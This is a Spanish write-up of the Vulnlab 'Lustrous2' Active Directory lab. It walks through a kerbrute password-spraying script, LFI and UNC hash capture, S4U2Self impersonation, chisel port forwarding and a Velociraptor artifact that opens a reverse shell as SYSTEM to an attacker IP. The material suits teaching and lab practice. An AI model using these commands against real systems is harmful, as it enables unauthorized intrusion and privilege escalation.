# Lustrous2 - Writeup (Vulnlab)

# NMAP

Puertos y servicios identificados con el escaneo inicial dando a entender un contexto claro de un entorno Windows Active Directory:

```bash
21/tcp   open  ftp
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5357/tcp open  wsdapi
```

## Puerto 21 | FTP

En el Puerto **21**, observo que si pruebo el login con el user ‘anonymous’ es valido:

```bash
ftp anonymous@lustrous2.vl
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753996814341/1d6d37cd-cbc6-431d-a1c4-eff8609e1bbb.png align="center")

Al enumerar carpetas, obtengo usuarios dentro del directorio `Homes` y, en especial, una pista en el archivo `audit.txt` , dentro de la carpeta `/ITSEC`, que indica que las **contraseñas** de los usuarios son débiles. Esto nos da la idea que vamos a tener que bruteforcear users :)

```bash
Audit Report Issue Tracking

[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled

[Open] Weak User Passwords
```

## Genero un custom wordlist para Kerbrute

Me creo el siguiente script en bash el cual mediante kerbrute va a bruteforcear con un custom wordlist de passwords a los usuarios que obtuve en el FTP.

```bash
#!/bin/bash

users="users.txt"
passwd="custom_wordlist.txt"
DC="lus2dc.lustrous2.vl"
domain="lustrous2.vl"

if [[ ! -f "$users" ]]; then
  echo "El archivo $users no existe."
  exit 1
fi

if [[ ! -f "$passwd" ]]; then
  echo "El archivo $passwd no existe."
  exit 1
fi


while read -r usuario; do
  echo "Checking user: $usuario@$domain"
  kerbrute bruteuser --dc "$DC" -d "$domain" "$passwd" "$usuario@$domain" -v

  if [[ $? -ne 0 ]]; then
    echo "Error:  $usuario@$domain"
  fi
  
  echo "Finished: $usuario@$domain"
  echo "-------------------------------------"

done < "$users"
echo "Finished"
```

Este es parte del wordlist de las contraseñas generadas para bruteforcear los users:

```bash
password123
Password2024
Password2023
lustrous2
Lustrous2!
Lustrous2024
Welcome2024
Welcome123
Welcome!
User123
Lustrous2!
User2024
Qwerty123
Qwerty2024
123456
Password1
Password!
Sommer2024
Spring2024
Winter2024
Summer2024
Autumn2024
Administrator2024
Admin2024
Guest2024
Ryan123
Ryan2024
Emma123
Emma2024
Aaron123
Aaron2024
Moore2024
Bell2024
Norman2024
Lustrous2024
Start123!
[..snipped..]
```

## Credenciales encontradas

Con el custom wordlist, logro dar con 2 nuevas credenciales:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754368200730/b7d3d41f-1a3f-412c-b85d-f6b462d1c5e5.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754368207850/72b3733e-356c-42bb-87dd-2e7404b1789c.png align="left")

```bash
[+] VALID LOGIN:	 Terence.Jordan@lustrous2.vl:Lustrous2!
[+] VALID LOGIN:	 Thomas.Myers@lustrous2.vl:Lustrous2024
```

## Extraigo datos desde LDAP’s (port 636).

Desde LDAP Signed, en el puerto 636, logro obtener información valiosa del Active Directory que será de gran utilidad más adelante. Esta información puede incluir detalles sobre la estructura del dominio, usuarios y grupos:

```bash
ldapsearch -x -H ldaps://lustrous2.vl:636 -D "Terence.Jordan@lustrous2.vl" -w 'Lustrous2!' -b "DC=lustrous2,DC=vl" -o tls_reqcert=never >ldap_outfile.txt
```

## Kerberos Authentication en Linux

Tenemos que definir como va a comunicarse nuestra maquina Linux con la autenticación Kerberos, y esto podemos hacerlo editando el archivo `/etc/krb5.conf`. Configurar correctamente este archivo es fundamental para garantizar que las solicitudes de autenticación se procesen sin problemas:

```bash
[libdefaults]
        default_realm = LUSTROUS2.VL
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        fcc-mit-ticketflags = true
        dns_canonicalize_hostname = false
        dns_lookup_realm = false
        dns_lookup_kdc = true
        k5login_authoritative = false
[realms]        
        LUSTROUS2.VL = {
                kdc = lustrous2.vl
                admin_server = lustrous2.vl
                default_admin = lustrous2.vl
        }
[domain_realm]
        .lustrous2.vl = LUSTROUS2.VL
```

Una vez seteado el **krb5.conf**, probamos solicitando un ticket para Thomas Myers.

```bash
getTGT.py lustrous2.vl/Thomas.Myers:'Lustrous2024' -dc-ip 10.129.214.125
```

```bash
export KRB5CCNAME=Thomas.Myers.ccache
```

Si comprobamos con `klist` vemos que tenemos un SPN HTTP:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754374061497/a2eb2257-2ac6-45da-a30e-14d21f9ede9f.png align="center")

Si verificamos con curl con el flag de `—negotiate`:

```bash
curl --negotiate -u : http://lus2dc.lustrous2.vl -v
```

Entre el codigo fuente de la pagina vemos que efectivamente gracias al ticket, nos autenticamos y nos reconoce:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754373958275/4e1c9aa4-874f-47d0-b0d8-955d633a3ae3.png align="center")

## Configurando Firefox para autenticarse con Kerberos

Al parecer funciono todo bien, pero es algo incomodo movernos con el curl por lo que setearemos unos valores en **Firefox** para acceder via interfaz grafica. Desde la consola que exportamos el ticket, ejecuto el firefox via cli:

```bash
firefox
```

Una vez abre el browser en la barra de direcciones entramos a la config:

```bash
about:config
```

Y seteamos cada uno de los siguientes valores:

```bash
network.negotiate-auth.delegation-uris: lus2dc.lustrous2.vl
network.negotiate-auth.trusted-uris: lus2dc.lustrous2.vl
network.negotiate-auth.using-native-gsslib: true
```

Configurado esto, podemos reiniciar firefox para que tome efecto los cambios y volver a abrirlo desde desde la consola que exporte el ticket nuevamente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754370702027/735a549f-046a-418b-85d4-c5e1bccdbf05.png align="center")

## LFI via WEB

Como vemos en la web tenemos un archivo para descargar que previamente lo pudimos visualizar desde el **FTP** como usuario *anonymous*. Si tratamos de hacer un LFI sobre algun archivo clasico del sistema como `hosts`, vemos que funciona y lo descarga.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997038499/65f7e64f-fb6d-4b6f-beff-e0561eb2037c.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997042854/ca667d2f-19c7-44e1-ad20-91d0a29e2205.png align="center")

## SMB\_SERVER

Contando con este vector de ataque, se me ocurrió que podía intentar sacar un nuevo hash de la cuenta de servicio que se estaba ejecutando detras del `LuShare`, por lo que levanto mi SMB Server y trato de que acceda al recurso de mi maquina:

> [http://lus2dc.lustrous2.vl/File/Download?fileName=\\10.10.14.24\\foo](http://lus2dc.lustrous2.vl/File/Download?fileName=%5C%5C10.8.0.147%5C%5Cfoo)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754381460072/b5a95562-4c3c-4fe3-a917-37e0d387c577.png align="center")

Recibo conexion y me permite sacar el hash, el cual vamos a guardarlo y crackearlo con ***rockyou.txt***.

> ### La password es → `#1Service`

## Obteniendo un nuevo ticket como ShareSvc

Vamos a solicitar nuevamente con getTGT un ticket pero esta vez para la nueva cuenta **ShareSvc**.

```bash
getTGT.py lustrous2.vl/ShareSvc:'#1Service' -dc-ip 10.129.214.125
```

Y si accedemos via curl para testear, efectivamente funciona y nos autentica:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997077905/58fecd19-e4fe-4fdc-8b27-f4db7c1648f0.png align="center")

## Volviendo al LFI

Aunque haya sacado credenciales de **ShareSvc** estoy en la misma situation del principio en el cual no posee ningún archivo extra, respecto a los otros usuarios que tenia acceso, por lo que si vuelvo al punto del **LFI** pero esta vez enfocándome en el **IIS** y en tratar de obtener archivos relevantes del mismo. Por ende, me enfoco en el **web.config**.

> (El `web.config` de IIS es un archivo de configuración XML que define reglas y configuraciones para aplicaciones web en un servidor IIS, como seguridad, autenticación, rutas y módulos).

El LFI luce algo asi:

```bash
http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997126175/9b412527-7d9f-4b09-ada2-359c35aaeb16.png align="center")

Ok, tenemos una libreria llamada `LuShare.dll` la cual podemos descargar y reversearla, a ver si tiene algo que nos interese.

## Decompilando el LuShare.dll

Analizando el dll con **DNSPY**, veo que este atributo en el código está aplicando una restricción de acceso basada en roles. Significa que **solo los usuarios que pertenecen al rol** `ShareAdmins` pueden ejecutar estos métodos. Cualquier intento de acceso a estos métodos sin ser parte de este rol resultará en un **Forbidden**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997135976/82dd6ec5-33c1-460f-b521-8c564950f08f.png align="center")

Este método es crucial y potencialmente peligroso. Permite ejecutar comandos de Powershell en el servidor con la condición de que se provea un comando y un PIN válido (`ba45c518` en este caso).

* **Verificación del PIN:** Antes de ejecutar cualquier comando, se valida que el PIN coincida con el valor hardcodeado.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997148708/d76dfbd9-d8f6-4c18-9f89-653f08c16438.png align="center")

Para abusar de estas funciones, se podría intentar obtener acceso a una cuenta con el rol `ShareAdmins`. Si vemos cuáles son los usuarios que poseen este rol, -con una rápida búsqueda nuevamente con **ldapsearch-,** encuentro dos usuarios potenciales:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997158379/a805294a-74c5-47ec-9013-a4a2a77bab43.png align="center")

> <mark>- Sharon.Birch<br>- Ryan.Davies</mark>

## S4U2Self Abuse

S4U2Self (Service for User to Self) es una extensión del protocolo Kerberos que permite a un servicio autenticado solicitar un ticket de servicio (TGS) en nombre de un usuario específico sin necesidad de la contraseña del usuario.

Basicamente es como decirle a un servicio “hacete pasar por tal usuario sin pedirle la contraseña”. Si tenés permisos en el dominio, podés usarlo para actuar como otro usuario y acceder a cosas que normalmente no podrías.

Es lo que haré en este caso, impersonando a **Sharon.Birch**:

```bash
getST.py -self -impersonate "Sharon.Birch" -altservice "HTTP/lus2dc.lustrous2.vl" -k -no-pass -dc-ip "10.129.214.125" "Lustrous2.vl/ShareSvc"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997182271/50783a3a-ec5a-4e5a-a8d0-f605c9d6a8c8.png align="center")

Lo exporto y verifico con **klist**:

```bash
export KRB5CCNAME=Sharon.Birch@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997208171/aac1dbdd-e3c4-4518-ad0b-970657114162.png align="center")

Si ahora abro el **firefox** desde la consola que exporte el ticket de Sharon:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997222250/7d43c606-ec97-44d7-b46b-8c15e95b2fea.png align="center")

Somos **Sharon.Birch**. Y tenemos disponible la funcionalidad de upload que habiamos visto previamente en el **LuShare.dll**, la cual estaba restringida por el rol de **ShareAdmins**.

## Funcion “DEBUG”

Entre otras de las funciones que figuraba en el **LuShare.dll** estaba la funcion de <mark>DEBUG</mark>, la cual permitia mediante un **<mark>PIN</mark>** <mark> hardcodeado</mark> la ejecucion de comandos en **Powershell**.

  
Tambien vemos que solo permite la ejecucion hasta <mark>100 chars</mark>. Mas nos da error.  
Hagamos la prueba con un simple comando “DIR” y el PIN.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997241596/ba8dd831-2adc-4c90-b664-d48676a3e826.png align="center")

Funciona!, y obtenemos el listado de directorios y archivos actuales:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997249924/0c31d325-2548-406f-9185-f44984a24556.png align="center")

---

# USER FLAG

Bueno antes de intentar darnos una revshell, podemos catear el user y sacar la flag localizada en la raiz de **C:\\**.

Descargo el **RCAT** (by **xct**) en la victima y dejo un puerto a la escucha en la maquina atacante para obtener una revshell sin complicaciones.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997266469/57c34486-0697-4c2c-b28b-0cdb98d54d1e.png align="center")

## Velociraptor Abuse

Enumerando ni bien tome la flag, me llamo la atencion esta carpeta instantaneamente:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997274493/7b300d4d-518c-4836-b7a7-f9263254dbdd.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997279518/cc47d180-9681-4bfa-b63a-c6ddf1d17203.png align="center")

***Velociraptor*** es una herramienta para hacer respuesta a incidentes y análisis forense en una red. Te deja monitorear, investigar y ejecutar comandos en sistemas comprometidos. Tiene varios componentes:

* **Hunts**: Búsquedas forenses automáticas para recolectar datos.
    
* **Artifacts**: Plantillas para definir qué datos buscar y cómo.
    
* **Server**: Centraliza la gestión y los datos recolectados.
    
* **Client**: Agente que corre en cada máquina y ejecuta los comandos que le manda el servidor.
    

Verificando la documentacion oficial veo que escucha en el puerto 8889, por lo que si chequeo esto confirmo que en la maquina esta en estado de **LISTENING**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997289303/8c5ae91f-1dd6-4cbd-bffd-06598df7786d.png align="center")

## Velociraptor Port Forwarding

Lo primero que necesitamos para trabajar comodos es traernos el puerto con **CHISEL**, desde windows podriamos ejecutar algo asi:

* > ATTACKER IP:
    

```plaintext
./chisel server --reverse -p 1234
```

* > VICTIM:
    

```plaintext
.\chisel.exe client --max-retry-count=1 10.10.14.24:1234 R:8889:127.0.0.1:8889
```

Ya con el puerto redireccionado, podemos acceder con el browser [`https://localhost:8889/`](https://localhost:8889/) con credenciales de **operator**. (*Para ser sincero probe todos los users y passwords por default y funciono*)

> Credenciales: <mark>operator:operator</mark>

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997365679/b00ec67d-bf01-45a7-8a44-9b930dd7c760.png align="center")

## Exploiting Velociraptor via Artifacts

Despues de leer un buen rato y tras prueba y error con la documentacion oficial, el siguiente link me fue de mucha utilidad: [https://docs.velociraptor.app/artifact\_references/pages/windows.system.cmdshell/](https://docs.velociraptor.app/artifact_references/pages/windows.system.cmdshell/)

Resaltando lo siguiente:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753997376391/ef2e84b6-6edd-4fe8-a03e-44287f6baa8e.png align="center")

El plan es crear un nuevo Artifact, luego seleccionar un hunter y aplicarle ese artifact que creamos para lanzarlo y obtener una shell privilegiada.

Basandome en el template de la documentacion creo lo siguiente (aprovechando el **rcat.exe** que esta en **ProgramData**):

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754378741074/c177252d-d672-4cc2-9758-31bbe81323e2.png align="center")

### **Artifact creado: &lt;SHKZ&gt;**

```bash
name: SHKZ
description: G1ve m3 SHell Plz

precondition:
  SELECT OS From info() where OS = 'windows'

parameters:
  - name: Command
    default: "C:\\ProgramData\\rcat.exe connect 10.10.14.24 10000"

sources:
  - query: |
      SELECT * FROM execve(argv=["cmd.exe", "/c", Command])
```

Luego me dirijo a agregar un Hunter y le asigno el **Artifact** que cree (**SHKZ**):

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754378875228/6f1c76c7-1b53-4041-a931-ca089a986dbe.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754378908849/b036c267-df0e-45a4-8c1e-2104f200152c.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754378944361/c3e91619-ae95-498d-b1e6-ccc5b35c2a55.png align="center")

Por ultimo le doy a **LAUNCH** y luego en `RUN`, en segundos obtenemos la shell como **SYSTEM:**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754379162645/09530450-5c48-405f-9e49-2369fe83a279.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754379175856/0bde37aa-464b-44a8-a0c0-52fdcd5dfde2.png align="center")

**Pwn3d!**
